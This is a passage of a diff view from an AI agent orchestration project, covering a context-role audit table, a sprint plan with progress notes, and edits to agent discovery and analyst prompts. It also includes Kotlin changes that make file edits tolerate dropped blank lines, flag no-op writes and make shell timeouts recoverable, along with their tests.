| `toolResult` (incl. failures) | Execution.kt:351/564, ToolExec.kt:215… | L2/TOOL → inline tool turns | **keep** | Routine self-correctable — "target not found", READ_BEFORE_WRITE, patch misses. Lifting these floods the user channel and destroys the effect. Escalation happens on *repetition*, and that path already exists (`STAGE_LOOP_BREAK_GATE``recoveryTicket`); #309's loop-breaker is the right place, not the per-failure site. |
| `assistantToolCall` | ToolExec.kt:205… | L2/ASSISTANT → inline | keep | Correct. |
| `initialIntent` | Context.kt:162 | L1/USER, but **L0 ⇒ system fold**… no: L1/USER → inline | keep | Doc comment at Context.kt:148 claims "pinned L0 SYSTEM"; code says L1/USER. Comment is stale — **fix the comment**, not the code (L1/USER is right). |
| `clarificationAnswer` | Context.kt:205 | L0/SYSTEM → system fold | keep, flag cache | Mutable mid-run (grows per clarification) inside the cached prefix. Low frequency; acceptable. |
| `schemaInstruction`, `systemPrompt`, `operatingGuidance`, `projectProfile`, `agentInstructions`, `operatorProfile`, `claimedTask`, `promotedConcept`, `verifiedBaseline`, `successfulPlanShape` | various | L0/SYSTEM → system fold | keep | Stable per stage. Correct and cache-friendly. |
| `agentPrompt` | Execution.kt:120/147 | L1/USER → inline | keep | The stage task. |
| `repoMap`, `docsCatalog`, `relevantFiles`, `decisionJournal` | Context.kt:289/376, ContextFeedback.kt:245, Execution.kt:189 | L3/USER → inline | keep | Reference material; #290 already moved these out of the system fold. |
## Recommendations, in order
1. **Re-role the four escalation entries** (`recoveryTicket`, `remainingDelta`,
`groundingFeedback`, `rejectionFeedback`) to `EntryRole.USER` and add their sourceTypes to
`PromptRenderer.repairMandateSourceTypes`. One-line change each plus the set.
2. **Guard the scarcity invariant first.** `repairMandateSourceTypes` currently joins all matches
with `\n\n`. With one member that is fine; with five, a recovery stage on a retry with an unmet
delta emits three stacked "mandates" and the channel stops being authoritative. Before (1) lands,
the trailing slot needs either a priority order emitting the single highest-precedence entry, or
one consolidated block under a single header. Suggested precedence:
`recoveryTicket > retryFeedback > groundingFeedback > rejectionFeedback > remainingDelta`.
`remainingDelta` is the exception worth appending unconditionally — it is the completion signal,
not a competing mandate.
3. **Cache note.** All four moves are *out of* the system prefix and are therefore cache-positive.
`remainingDelta` is the biggest win: per-turn mutation currently sits inside the cached prefix.
No move *into* system is recommended anywhere.
4. **Do not touch tool-role failures.** Escalation belongs at the repeat detector (#309), not at
each failure site.
Everything above stays event-derived (invariant #9); the trailing block is synthetic and should keep
its `## `-headed, non-conversational framing so it never reads as a real operator turn.
## Note on sequencing
The sprint deferred #312 behind #307 (manifest event) "so the audit has ground truth". Not needed —
placement is statically determined by `PromptRenderer` + the producer's role/layer, both read
directly. #307 remains useful for verifying the *result* of recommendation (1) on a live run.
+2 -2
View File
@@ -76,7 +76,7 @@ scripts/qa/searxng-down.sh
## 4. Start the server
```bash
./gradlew :apps:server:run # mainClass com.correx.apps.server.MainKt, listens on :8080
./gradlew :apps:server:run # mainClass com.correx.apps.server.MainKt, listens on :8090
# or build a runnable dist once and reuse it:
./gradlew :apps:server:installDist
apps/server/build/install/server/bin/server
@@ -90,7 +90,7 @@ apps/server/build/install/server/bin/server
```bash
cd apps/tui-go
GOTOOLCHAIN=auto go build -o correx-tui .
./correx-tui -host localhost -port 8080 # flags default to localhost:8080
./correx-tui -host localhost -port 8090 # flags default to localhost:8090
```
## 6. Evidence tools (what the plans cite)
+248
View File
@@ -0,0 +1,248 @@
# Sprint: "Close the loop" — 2 weeks
**Dates:** 2026-07-23 → 2026-08-06
**Source:** Vikunja Correx project (id 4), 30 open tasks reviewed
**Theme:** Real per-stage validation, warm-discovery freestyle runs, robust orchestration under failure
---
## Goal 1 — Real per-stage validation: land the LSP gate + fix build-gate wiring
**Why.** Multiple freestyle QA runs hit the same wall: the build-gate only fires at the terminal stage, so 8-10 hopeful writes stack before the truth-check, and when it fails there's no budget left (#167 epic calls this the "open-loop" disease). #80 is the filed fix and its deferral condition was observed on 2026-07-18 run 4a41417b — promote now.
**Tasks.**
- **#80** [EPIC] LSP validation gate — real per-stage gate + terminal typecheck replacement. Design finalized in the task body; break into the 5 sub-tasks listed there. Container for the work below.
- **#310** ✅ LSP diagnostics runner: anchor read on server readiness, not the 750ms timer (kills phantom unresolved-import).
- **#311** ✅ LSP gate: lint-class diagnostics (unused/deprecated) must not fail the run — classify by `DiagnosticTag`, not severity.
- **#263** ✅ Auto build-gate never fires on real freestyle scaffold — promotion attaches to no reachable stage. Blocks the terminal safety net #80 doesn't replace.
- **#267** Verify build-gate actually fires + re-scope #40 (LSP obsoletes the typecheck alias) — one live run settles both. Acceptance gate for the whole goal; do last.
**Exit.** One live freestyle run where every write stage gets LSP diagnostics scoped to its write blast-radius, terminal build-gate fires, and a stranded-scaffold case goes to recovery instead of `WorkflowFailed`.
**Sequencing.**
- Mon: #80 sub-task 1 (cheap floor — populate the existing per-stage `static_analysis` seam with file-local one-shots in the freestyle compiler). Same-day ship; de-risks everything below.
- Week 1: parallel track on #263 (build-gate wiring).
- Week 2: #80 sub-tasks 2/3/4 — LSP4J wiring, pull-diagnostics, server pool, per-stage integration.
- Week 2 tail: #310, #311 (readiness anchor + DiagnosticTag classification), then #267 as the acceptance live run.
---
## Goal 2 — Make freestyle runs start warm and converge: discovery prompts, impl decomposition, ACR
**Why.** The kernel executes what it's told; near-term leverage is what it's told. #260/#261 sharpen upstream (discovery + per-feature stages), #305/#306 make run N+1 actually carry forward from the event log — the two halves of the ACR thesis still unimplemented. #297 kills a budget-burning failure mode mid-discovery.
**Tasks.**
- **#260** Freestyle SDLC: prompt-only upgrades — exhaustive discovery prompt + analyst DoD artifact (the contract the rest of the run is judged against).
- **#261** Freestyle SDLC: decompose impl stages into features/sub-tasks (structural, deferred — but it's what makes per-stage LSP from Goal 1 actually bound blast-radius).
- **#305** ACR: accrete task knowledge externally so discovery starts warm (model-agnostic) — warm-start half of #168's remaining follow-on.
- **#306** Sticky ACR steer-away hint: fires every turn + coarse signature collapse — makes delivered concepts usable; without this ACR delivery is noise.
- **#297** Analyst CoT indecision loop burns full reasoning budget, emits nothing — recovery hygiene in the stage the goal is sharpening.
**Exit.** A second freestyle run on a fresh repo where DoD is recorded, impl stages are feature-bounded (so Goal 1's LSP scope is real), and the discovery stage carries accreted task knowledge from a prior run on an adjacent repo.
**Sequencing.**
- Day 1 (parallel): #260 — files-only, doesn't block on anything.
- Week 1 mid: #297 (analyst CoT fix — same stage family #260 touches).
- Week 2: #261 (impl decomposition — depends on #260's DoD existing to decompose against), #305/#306 (ACR — pairs with the warmed discovery stage).
---
## Goal 3 — Orchestration & recovery robustness: stop the unrecoverable kills and runaway recoveries
**Why.** Two failure modes currently end runs that shouldn't end: a single provider going down mid-run (#299), and the recovery stage burning its budget against a stale failure-cap it can't clear (#304). Both waste full event logs. #307 is the cheap observability floor that makes the rest debuggable.
**Tasks.**
- **#299** Single provider death → unrecoverable session kill (`NoEligibleProvider` on retry) — re-route, don't die.
- **#300** HealthMonitor detects provider loss ~18s too late (reactive, not gating) — gates #299's recovery path on a fast signal.
- **#304** Recovery stage runs expensively then run dies on stale failure-cap — wasted work; the cap must reset on the recovery's own progress.
- **#309** Recovery stage: apply same-fingerprint loop-breaker + repair-ledger — the runaway root cause; closes the loop Goal 3 started. Now lands on top of #312/#313: `recoveryTicket` is USER-role in the trailing slot at highest precedence, and the loop-breaker is the agreed place to escalate a repeated tool failure out of tool-role (per-failure sites stay tool-role).
- **#307** Observability: no event records the assembled stage-context manifest — cheap event, makes every above failure diagnosable post-run.
**Stretch (if #307 lands fast):** **#308** Background-process execution + monitor tool for long-running shell commands — unblocks real test gates but not load-bearing for the goals above.
**Exit.** A live run where provider downtime is logged + recovered around, and a recovery stage that either converges or breaks the loop with a recorded repair ledger rather than dying on a stale cap.
**Sequencing.**
- Week 1: #307 (manifest event — cheap, unblocks debugging of everything below).
- Week 2: #299 + #300 together (provider-death path), #304 + #309 together (recovery runaway path).
---
## Cross-goal sequencing
| Week | Track A (validation) | Track B (freestyle content) | Track C (robustness) |
|---|---|---|---|
| 1 M | #80 sub1 — static_analysis seam populated | #260 — discovery prompts | #307 — manifest event |
| 1 W-F | #263 — build-gate wiring | #297 — analyst CoT loop | — |
| 2 M | #80 sub2/3/4 — LSP4J + server pool + per-stage | #261 — impl decomposition | #299 + #300 — provider death |
| 2 W | #80 sub4 — blast-radius filter | #305 + #306 — ACR external + sticky hint | #304 + #309 — recovery runaway |
| 2 F | #310, #311, #267 — readiness anchor + tag class + acceptance run | — | — |
### Goal 1 progress — 2026-07-26
- **#310 ✅** (commit `a95475be`). `awaitDiagnostics` waits for one push per URI then a *quiescent*
period anchored to the last server publication (`awaitAll` + `awaitQuiet`), not a 750ms timer
started at `didOpen`. Kills the half-loaded-project phantom unresolved-import.
- **#311 ✅** (commit `f61864ff`). `LspDiagnostic.tags` (lowercased `DiagnosticTag` names) is carried
from LSP4J through the event; `SessionOrchestratorGates2` gates on `severity == error && !isLint`.
A `noUnusedLocals` tsconfig promoting TS6133 to *error* no longer hard-fails a run that no rewrite
could clear. Lint diagnostics stay recorded and visible, just non-gating. Classification by
protocol tag, not a TS-code whitelist. Test: `core/events/.../LspDiagnosticTest.kt`.
- **#263 ✅** (commit `867e99d1`). Two findings on trace:
- The *reported* selection bug was already fixed by `159b3f1e` (#277) — `autoGateStages` is every
write-declaring stage **plus** `terminalStageId(plan)`, so a non-writing review terminal is
gated and `runExecutionGate` promotes it to PROJECT off the real `FileWritten` manifest. The
2026-07-18 evidence was stale.
- The hole that remained: any stage declaring `build_expectation: project|tests` zeroed the whole
auto-gate set, so a plan building at stage 3 of 9 had nothing verifying the six stages written
after it. A declared build now suppresses only the redundant *per-writing-stage* gates; the
terminal floor always stays.
- Left deliberately: the gate chain still short-circuits before the execution gate when the
contract gate fails. The stage fails either way — cheap gates first, no COMPLETE-lie.
**Goal 1 remaining: #267** — the acceptance live run. Fold the unverified #312/#313 trailing-mandate
check into the same run.
**Precondition, handled.** #191 (dependency resolution before scaffold accept) closed on 2026-07-21:
`runSetupCommand` runs the profile alias `setup` before every build gate and #40 resolves it per
toolchain. But `setup` is operator-declared, and the repo profile didn't declare one — so with
`frontend/` cleared before each QA run, the now-firing terminal gate would run `npm run build` against
an absent `node_modules` and fail on deps instead of on the code. Added
`setup = "npm --prefix frontend install"` to `.correx/project.toml` (install, not `ci` — a fresh
scaffold has no lockfile). The general case — a workspace whose operator declared no `setup` — is
**#314** (toolchain-default fallback).
**#40 follow-through** (commit `fb8141d6`). #40 (toolchain-aware command resolution — this repo hosts
Kotlin at root *and* a Node app in `frontend/`, and one flat alias can't serve both) closed on
2026-07-21 with `[commands.<toolchain>]` support in `6e844ef1`. The repo profile was never migrated:
every flat alias still pointed at npm, so a Kotlin run's auto-gate would have run
`npm --prefix frontend run build` — the latent misfire #40's own body predicted. Profile now carries
`[commands.jvm]` + `[commands.node]` with jvm as the flat default. Parsing verified against
`ProjectProfileLoader`; the gate prefers `<toolchain>.<alias>` and falls back to flat. #267's "re-scope
#40" is now just the live confirmation.
### Goal 3 + Goal 2 progress — 2026-07-26
- **#307 ✅** (commits `c742656e`, `68b5392e`). `ContextAssembledEvent` records the injected manifest —
`{sourceType, sourceId, tokenEstimate, layer, role}` per entry, no content (that stays in CAS). Scope
check confirmed nothing existing carried it; `ContextTruncatedEvent` only reports drop counts. Emitted
at **all four** `contextPackBuilder.build` sites, not just the stage's first: the motivating question
("did the steer-away hint fire on 7 consecutive turns?") is a per-rebuild question, and one event per
stage couldn't answer it. Turned out to be the delivery-tracking substrate #306 needed.
- **#304 ✅** (commit `2b13f610`). Chose option (b) — recovery is a real second chance.
`detectRepeatedToolFailure` windows its fold to events after the most recent `FailureTicketOpenedEvent`
naming the stage. Route budgets are charged off the ticket event by the reducer, so the reset can't
open an infinite route-in/route-out cycle: 2+2 route cycles, each needing 6 fresh failures to re-trip.
- **#309 ✅** (commits `ee69f9be`, `9db4e3dd`). `RecoveryFileLoopBreak.kt``fileRepairOutcomes`
correlates each `FileWrittenEvent` with the next `LspDiagnosticsCompletedEvent` per path, feeding both
consumers off one fold: the in-recovery guard (a path rewritten 3x without clearing opens
`FailureTicketOpened(gate=recovery_loop_break, escalated=true)` and fails terminally instead of
looping) and the ledger annotation in `buildRetryFeedbackEntry`, still `EntryRole.USER` with #313's
precedence untouched. **Correction landed on top:** the fold conflated "no diagnostic run since this
write" with "ran clean" — so the ledger said *"done, leave it"* about unverified files, and the breaker
could kill a run on the *absence* of evidence. Now a distinct `unchecked` state; the breaker requires
`!unchecked`.
- Left deliberately: the guard is terminal, not an operator-approval pause. Recovery is the last tier,
so there is nowhere to route; it opens the ticket for the record, then fails. Human-in-the-loop there
is a follow-up if wanted.
- **#306 ✅** (commits `bc5afa51`, `f78c7f15`). Two halves, and only both together fix the report.
*Across stage entries:* the hint is keyed to its `RetryAttemptedEvent` occurrence, delivery derived by
folding prior `ContextAssembledEvent` manifests (`sourceType="unconfirmedFix"`, `sourceId=classKey`) —
no new state, pure fold (invariant #9). *Within one stage entry:* the guard alone was not enough —
`unconfirmedFixEntries` is called once at stage entry and its result folded into `accumulatedEntries`,
which every `pushBack` rebuild re-uses, so the hint rode into every turn regardless. That is the actual
7-turn symptom; the entry is now dropped once its first pack is built.
- Directions 2/3 from the ticket needed no code: `classKey` already derives from the current retry's
own class, and routing dead-ends carry `gate="stage"` while every other path carries its real gate,
so `"$gate:$signature"` can't collapse them. Locked in with a regression test rather than a rewrite.
- **#299 ✅** (commit `c5289420`). `route()` now splits the two cases the old code conflated: a
capability **nobody was ever configured with** still fails fast, but a capability that *is*
configured whose candidates are all currently unhealthy gets a bounded wait (3 × 2s, each round
re-checking `refreshedHealth` rather than the TTL cache) before `NoEligibleProvider`. A crash-plus-
restart no longer collapses a retryable failure into a session kill.
- **#300 ✅** (commit `bf362527`). Made health *gating* instead of reactive: new
`InferenceRouter.reportFailure(providerId, reason)` (default no-op) writes `Unavailable` straight
into the health cache, bypassing `healthCheck()`/TTL, and `SessionOrchestrator.kt:454` calls it from
the inference catch when `isConnectionLevelFailure(e)`. The next `route()` sees the drop
immediately instead of ~18s later. Recovery needs no extra path — TTL expiry or #299's bounded-wait
re-check picks the provider back up.
**Goal 3 remaining:** none. #308 partly pre-empted by `ac460156` — a shell timeout is now recoverable
and coaches `nohup &` detach, so there is no background-process registry to build unless a real gate
needs one.
**Goal 2 status calls — 2026-07-27.**
- **#260 ✅** (commit `516af1ca`). Both halves are in the prompts: `discovery.md` requires inspecting
the whole decision surface and batching *all* operator-only questions after inspection (no
stop-at-first-uncertainty), and `analyst_freestyle.md` makes the `dod` artifact the handoff contract
— atomic, yes/no-checkable criteria, plus one criterion carrying the named task into the impl plan
and one per material failure path. #3 (architect re-plans on better input) fell out for free.
- **#305 ✅** (commit `d52a94e5`). The ticket body was stale on two of three stores; traced each
against the tree before touching anything.
- *Store 1* shipped durable (`5df35879`) and was then deliberately **reverted to a memo**
(`12775d56`) — `SqliteObservationStore` was a second unsynchronized SQLite writer holding a fact
the log already carries (`FileWrittenEvent.path` + `postImageHash` + a pure `describe().render()`
over CAS bytes), i.e. an invariant-#1/#8 break. `descriptorMemo` keeps the perf win with none of
the risk. The "extend to the FileReadTool hot path" follow-up died with it: that path keyed on a
workspace-relative path while every consumer looks up the absolute one, so it never hit.
- *Store 2* was already complete in `unconfirmedFixEntries` — the `unconfirmed`/`falsified` states
below hard promotion, matched reactively on the retry's own `classKey`, made genuinely one-shot
by #306.
- *Store 3* was already built, but **deterministically rather than via the embedder**: intent
keyword Jaccard over a fold of (initial intent, locked plan, workflow completion). That beats the
planned embedder version on #8/#9 — pure fold, no environment read, so no recorded-retrieval
event is needed at all. Its one real gap was the consumer gate: `produces execution_plan` only,
so **discovery** — the stage the whole ticket is named after — still started cold. Now gated on
the produced artifact *kind* being a plan-shape consumer (`execution_plan` or `discovery`), with
a discovery-specific framing: the prior run's stage list read as a checklist of surfaces this
task-family touches, to inspect now rather than at stage 6.
- Left deliberately: tool categories in the plan shape (the plan said "stage sequence + tool
categories"). The sequence carries the signal; add the tool list only if a live run shows
discovery missing tooling it should have anticipated.
- **#261 blocked by #267, correctly.** Its own body defers it until the simpler pipeline is proven on
a clean end-to-end run — which is the #267 acceptance run. Do #267 first.
---
## Landed out-of-band — context message-type sweep (#312, #313)
Not in the original three goals; pulled in on 2026-07-26 because it is upstream of Goal 1's gate
verdicts and Goal 3's recovery tickets — both deliver their findings through the context builders
this touched. #312 was listed as deferred-behind-#307; that turned out to be unnecessary, placement
is statically determined by `PromptRenderer` + each producer's role, so no run ground truth was needed.
**Rule established:** the system block carries only what does not change during a run. Anything the
run mutates is a user message — a mutating system prefix defeats prompt caching, and models
under-weight system-folded content against the trailing user turn. `role` = which chat message type,
`layer` = pinning/prune eligibility; those were tangled and are now separate.
- **#312** ✅ Audit — report at `docs/audits/2026-07-26-context-role-audit.md` (commit 514aeae7).
- **#313** ✅ Implementation (commit a4f6cf05, `./gradlew check` green). Ten entries re-roled
SYSTEM→USER; trailing repair-mandate slot now emits exactly one mandate by precedence
(`recoveryTicket > retryFeedback > groundingFeedback > rejectionFeedback`) with `remainingDelta`
appended, so the slot stays scarce as members were added.
- **Bug fixed en route:** the renderer's `layer == L0` clause was overriding role on four L0+USER
packs — `InferenceSummarizer`, `SemanticReviewerImpl`, `CapabilityGapReflectorImpl`, Talkie
session-naming — all four were sending a system-only request with **no user turn at all**.
**Not verified live.** Needs one freestyle run to confirm the trailing mandate lands as intended.
Fold into the Goal 1 acceptance run (#267) rather than spending a separate run.
---
## Intentionally deferred (seen, not dropped)
| ID | Title | Why out |
|---|---|---|
| **#167 / #168** | Closed-loop + ACR design epics | Bodies marked IMPLEMENTED for landed slices; remaining work folded into Goal 1 (#80) and Goal 2 (#305/#306). Keep open as epic containers. |
| **#193** | Frontier-parity design-review round | Design/review work, not a 2-week deliverable. Next cycle after Goals land. |
| **#31** | Interactive workflow creation TUI/web-ui | Visible polish; not load-bearing for run reliability. Schedule its own sprint. |
| **#265** | TUI clarification modal not dismissed on external resolve | TUI cluster; pair with the next TUI sprint. |
| **#295** | TUI token usage display for router/talkie | TUI cluster. |
| **#296** | TUI execution plan viewer | TUI cluster. |
| **#298** | TUI output: show CoT/reasoning on artifact + tool-call turns | TUI cluster. |
| **#301** | Escalate repeated scope/manifest write-block to user approval | Falls under Goal 2 once DoD lands; premature now. |
| **#302** | Mid-run hard steering (drop inference, inject operator message, restart) | Bigger surface; pairs with the steering-channel design, post-Goal 3 reliability. |
| **#303** | Auto-repair collapsed-argv shell calls | Nice-to-have shell hygiene. |
| **#25** | Backlog (deferred/spec-level from memory) | Meta-task; verify-against-code before any sub-item is promoted. |
+1
View File
@@ -23,6 +23,7 @@ Each TOML file in `workflows/` is a valid workflow loadable by the server. Keep
- Prompts referenced by TOML files go in `workflows/prompts/`.
- Freestyle architect prompts specify stage constraints, boundaries, and verification goals; they do not prescribe an exact resulting file list when the authoritative intent leaves implementation details open.
- Freestyle discovery emits a structured comprehension brief; the analyst emits the addressable `dod` artifact used as the fixed implementation/review rubric.
- Freestyle discovery must inspect the whole decision surface and ground its brief in concrete repository evidence; analyst DoD criteria must be atomic, checkable, and include material failure/recovery paths.
- Do not add configs/plugins/stages stubs speculatively — populate when there is real content.
## Verification
@@ -4,8 +4,34 @@ structured definition of done. Read-only tools: `file_read`, `list_dir`, `shell`
and `task_context`.
Before deriving criteria, check for existing work with `task_search` and load named work with
`task_context`. Create or decompose a task only when needed by the existing task policy; include
the single task this run owns in the DoD summary or criterion part so execution can thread it.
`task_context`. Then frame the work as a task (per the task policy). A run always names exactly ONE
task — never a parent/epic — as the thing it will work, and includes it in the DoD summary or a
criterion part so execution can thread it:
- If an existing **leaf** task already covers this work (no children of its own), name its id
(e.g. `auth-142`) in the DoD.
- If an existing task covering this goal is itself a **parent/epic** (has `DEPENDS_ON`-linked
children, whether from a past run's `task_decompose` or found via `task_search`/`task_context`),
do **not** name the epic and do not decompose it again. Name the single ready child instead — the
one with no unmet dependency. If every child is already blocked/claimed, name the closest-to-ready
one and note that this run is unblocking it, not completing the epic.
- If no task covers this work yet and the goal is a single coherent unit one run can carry to
review, `task_create` one and name its id.
- If no task covers this work yet and the goal has **dependency seams** (a thing that must land
before another) or **independent review/handoff points** (a piece worth shipping or reviewing on
its own), `task_decompose` it into a parent epic + `DEPENDS_ON`-linked children — one approval for
the whole graph. A session works one task at a time, so the children are claimed by *later* runs
as they unblock; don't over-split. Then name the single ready child (the one already unblocked,
e.g. the scaffold) — never the epic itself.
There is always exactly one task id to name by the time you call `emit_artifact` — if you find
yourself unsure whether to name a parent or a child, the answer is always the child. Do not loop on
this decision.
The DoD is the handoff contract for every later stage. Derive it from the complete discovery brief
and inspected repository evidence: include the changed surfaces, behavior, failure paths, required
tests/build checks, and any event or artifact that must be recorded. A criterion is complete only
when a reviewer or an automated gate can answer yes/no without guessing. Keep criteria atomic and
avoid vague verbs such as "improve", "handle", or "support" without naming the observable result.
Emit the `dod` artifact once. Its criteria are the complete acceptance contract for this run:
@@ -15,6 +41,8 @@ Emit the `dod` artifact once. Its criteria are the complete acceptance contract
- Tag semantic or UX criteria `verified_by: "reviewer"`.
- Copy discovery `brief.non_goals` into `out_of_scope`; this is a hard review boundary.
- Cover the entire in-scope brief now. Later stages may not silently add criteria.
- Include at least one criterion proving the named task is carried through to the implementation
plan, and one criterion for each material failure or recovery path identified during discovery.
Call `emit_artifact` with a JSON object matching this shape:
`{"summary": string, "criteria": [{"id": string, "statement": string, "part": string,
+11
View File
@@ -7,6 +7,12 @@ Read-only tools: `file_read` (also lists a directory's entries when given a dire
`ls`, `grep`, `cat`, `find`. Use them — do not ask about things you can settle by reading the
code.
Inspect enough of the repository to cover the whole decision surface before emitting the artifact.
At minimum, check the requested entry points, neighboring modules, existing tests, relevant build
configuration, and the current protocol/API or file layout named by the request. Record concrete
paths and observed facts in the brief; do not claim that something exists merely because the
request says it does.
Two checks, both grounded in what you actually read:
1. **Underspecification.** Is a fork left open that only the operator can settle — a missing
@@ -21,6 +27,11 @@ Two checks, both grounded in what you actually read:
the server only exposes `/stream` — flag it and ask, rather than implementing the wrong
endpoint.
When the request is clear, the brief must still be exhaustive. Populate `scope` with the concrete
surfaces that will change, `non_goals` with adjacent work you deliberately exclude, `constraints`
with repository/build/protocol limits, and `assumptions` with visible defaults. If a question is
needed, batch all operator-only questions after inspection; do not stop at the first uncertainty.
Emit the `discovery` artifact by calling **`emit_artifact`** with:
- `brief`: the complete comprehension brief. Populate `what`, `why`, `who`, `scope`,
`non_goals`, `constraints`, and `assumptions` even when questions remain. Use assumptions for
+1
View File
@@ -15,6 +15,7 @@ dependencies {
testImplementation(testFixtures(project(":testing:contracts")))
testImplementation(project(":testing:fixtures"))
testImplementation "org.junit.jupiter:junit-jupiter"
testImplementation "org.jetbrains.kotlin:kotlin-test"
}
tasks.named("koverVerify").configure { enabled = false }
@@ -201,20 +201,30 @@ class FileEditTool(
}
/**
* Locate [target] in [content] ignoring each line's leading/trailing whitespace small models
* routinely drop or misjudge indentation, so an exact-string miss is almost always an indent
* mismatch, not a wrong edit. Returns the matched file-line range iff exactly one block matches.
* ponytail: line-trim match only; mixed tab/space or a target spanning blank-line drift may miss.
* Locate [target] in [content] ignoring each line's leading/trailing whitespace AND blank lines
* small models reconstruct the target from memory, so an exact-string miss is almost always
* indentation drift or a dropped blank line, not a wrong edit. Comparing only the non-blank lines
* survives both: blank-line drift shifts every later index, so a positional walk over raw lines
* misses the whole block over one absent empty line (observed live on vite.config.ts, main.tsx,
* index.css). Returns the matched file-line range iff exactly one block matches; interior blank
* lines of the file fall inside the range and are consumed by the replacement, which is the
* intent the caller sent a replacement for that whole block.
* ponytail: mixed tab/space inside a line still has to match after trim().
*/
private fun flexibleMatch(content: String, target: String): IntRange? {
val fileLines = content.split("\n")
val targetLines = target.split("\n").dropLastWhile { it.isBlank() }
if (targetLines.isEmpty() || targetLines.size > fileLines.size) return null
val normTarget = targetLines.map { it.trim() }
val starts = (0..fileLines.size - targetLines.size).filter { start ->
normTarget.indices.all { fileLines[start + it].trim() == normTarget[it] }
// (originalIndex, trimmed) for the file's non-blank lines only.
val fileNonBlank = fileLines.withIndex().filter { it.value.isNotBlank() }
.map { it.index to it.value.trim() }
val normTarget = target.split("\n").filter { it.isNotBlank() }.map { it.trim() }
if (normTarget.isEmpty() || normTarget.size > fileNonBlank.size) return null
val hits = (0..fileNonBlank.size - normTarget.size).filter { start ->
normTarget.indices.all { fileNonBlank[start + it].second == normTarget[it] }
}
return if (starts.size == 1) starts[0] until (starts[0] + targetLines.size) else null
if (hits.size != 1) return null
val start = fileNonBlank[hits[0]].first
val end = fileNonBlank[hits[0] + normTarget.size - 1].first
return start..end
}
/** Rebase [replacement]'s indentation onto [baseIndent], preserving its own relative structure. */
@@ -216,6 +216,75 @@ class FileEditToolTest {
)
}
@Test
fun `replace tolerates a dropped blank line in the target`(): Unit = runBlocking {
// Verbatim from live session fced377e: the model reconstructed vite.config.ts from memory and
// omitted the blank line before the comment. A positional walk over raw lines shifts every
// later index and misses the whole block, so 4-of-6 file_edit calls failed on drift like this.
val tempDir = Files.createTempDirectory("file_edit_blankline")
val filePath = tempDir.resolve("vite.config.ts")
Files.writeString(
filePath,
"import { defineConfig } from 'vite'\n" +
"import react from '@vitejs/plugin-react'\n" +
"\n" + // the blank line the model dropped
"// https://vite.dev/config/\n" +
"export default defineConfig({\n" +
" plugins: [react()],\n" +
"})\n",
)
val tool = FileEditTool(allowedPaths = setOf(tempDir))
val request = createRequest(
mapOf(
"operation" to "replace",
"path" to filePath.toString(),
"target" to "import { defineConfig } from 'vite'\n" +
"import react from '@vitejs/plugin-react'\n" +
"// https://vite.dev/config/\n" +
"export default defineConfig({\n" +
" plugins: [react()],\n" +
"})",
"replacement" to "import { defineConfig } from 'vite'\n" +
"import react from '@vitejs/plugin-react'\n" +
"export default defineConfig({\n" +
" plugins: [react()],\n" +
" server: { port: 5173 },\n" +
"})",
),
)
val result = tool.execute(request)
assertTrue(result is ToolResult.Success, "blank-line-drift replace should succeed")
assertTrue(
Files.readString(filePath).contains("server: { port: 5173 }"),
"the replacement should have been applied",
)
}
@Test
fun `replace still refuses a target that is ambiguous once blank lines are ignored`(): Unit = runBlocking {
// Ignoring blank lines must not turn a genuinely ambiguous edit into a silent wrong one.
val tempDir = Files.createTempDirectory("file_edit_blank_ambiguous")
val filePath = tempDir.resolve("dup.ts")
// Both sites are blank-separated, so there is no exact match to short-circuit on — the
// blank-line-insensitive walk is what has to reject this.
Files.writeString(filePath, "call()\n\nother()\n\ncall()\n\nother()\n")
val tool = FileEditTool(allowedPaths = setOf(tempDir))
val request = createRequest(
mapOf(
"operation" to "replace",
"path" to filePath.toString(),
"target" to "call()\nother()",
"replacement" to "call2()\nother2()",
),
)
assertTrue(
tool.validateRequest(request) is ValidationResult.Invalid,
"two blank-line-normalized matches must stay ambiguous, not pick one",
)
}
@Test
fun `replace accepts content as an alias for replacement`(): Unit = runBlocking {
val tempDir = Files.createTempDirectory("file_edit_alias")
@@ -95,7 +95,7 @@ class SandboxedToolExecutor(
// reconstruct: pre/post-image hashes (reversibility) and research-source markers.
emitResearchSourceEvents(sessionId, request.stageId, result)
emitFileMutations(sessionId, invocationId, affectedPaths, preImages)
result
reframeIfNoOpWrite(result, affectedPaths, preImages)
}
is ToolResult.Failure -> {
@@ -158,6 +158,33 @@ class SandboxedToolExecutor(
}
}
/**
* A write whose result is byte-identical to what was already on disk is a no-op, but the delegate
* still reports "written successfully" a false progress signal that traps looping agents (they
* re-write the same content, see success, and never learn nothing changed). Rewrite the receipt to
* the truth. Only fires when EVERY affected path pre-existed with the same content, so a partial
* change (one file touched, one identical) is still reported as a real write.
* ponytail: hash-compares via the CAS, so only active when artifactStore is wired; else pass-through.
*/
private suspend fun reframeIfNoOpWrite(
result: ToolResult.Success,
affectedPaths: Set<Path>,
preImages: Map<Path, PreImage>,
): ToolResult.Success {
if (artifactStore == null || affectedPaths.isEmpty()) return result
val unchanged = affectedPaths.all { path ->
val pre = preImages[path]
pre?.existed == true && pre.hash != null && pre.hash == storeBytes(path)
}
if (!unchanged) return result
val paths = affectedPaths.joinToString(", ") { it.toString() }
return result.copy(
output = "No change: $paths already contained this exact content; nothing was written. " +
"Do not repeat this write — make a different change or complete the stage.",
metadata = result.metadata + ("noop" to "true"),
)
}
// --- event emission ---
private suspend fun emitStarted(
@@ -293,10 +293,20 @@ class ShellTool(
killTree(process)
stdoutDeferred.cancel()
stderrDeferred.cancel()
// A timeout is NOT fatal — it's usually a long-running/watch/server command (npm run dev,
// vite, a watcher) run in the foreground, where it never exits. Return recoverable so the
// stage keeps going and coach the model to detach it, instead of killing the workflow with
// a dead-end failure (no transition matched). ponytail: no background-process registry —
// the model backgrounds it itself via `&`/nohup, which already routes through `sh -c`.
return@coroutineScope ToolResult.Failure(
invocationId = request.invocationId,
reason = "Process timed out after ${timeoutMs}ms",
recoverable = false,
reason = "Process did not exit within ${timeoutMs}ms and was killed. If this is a " +
"long-running command (a dev server, `npm run dev`/`vite`/`serve`, a `--watch` " +
"task), start it detached so it returns immediately — e.g. " +
"`nohup <cmd> > /tmp/dev.log 2>&1 &` — then verify separately (curl the port, or " +
"read the log). If you only needed its output, run a one-shot command that exits " +
"(e.g. `npm run build`, not `npm run dev`).",
recoverable = true,
)
}
val exitCode = process.exitValue()
@@ -115,6 +115,39 @@ class SandboxedToolExecutorFileMutationTest {
assertEquals("HELLO", store.get(ArtifactId(fw.postImageHash!!))!!.toString(Charsets.UTF_8))
}
@Test
fun `writing identical content reframes the success message as a no-op`(): Unit = runBlocking {
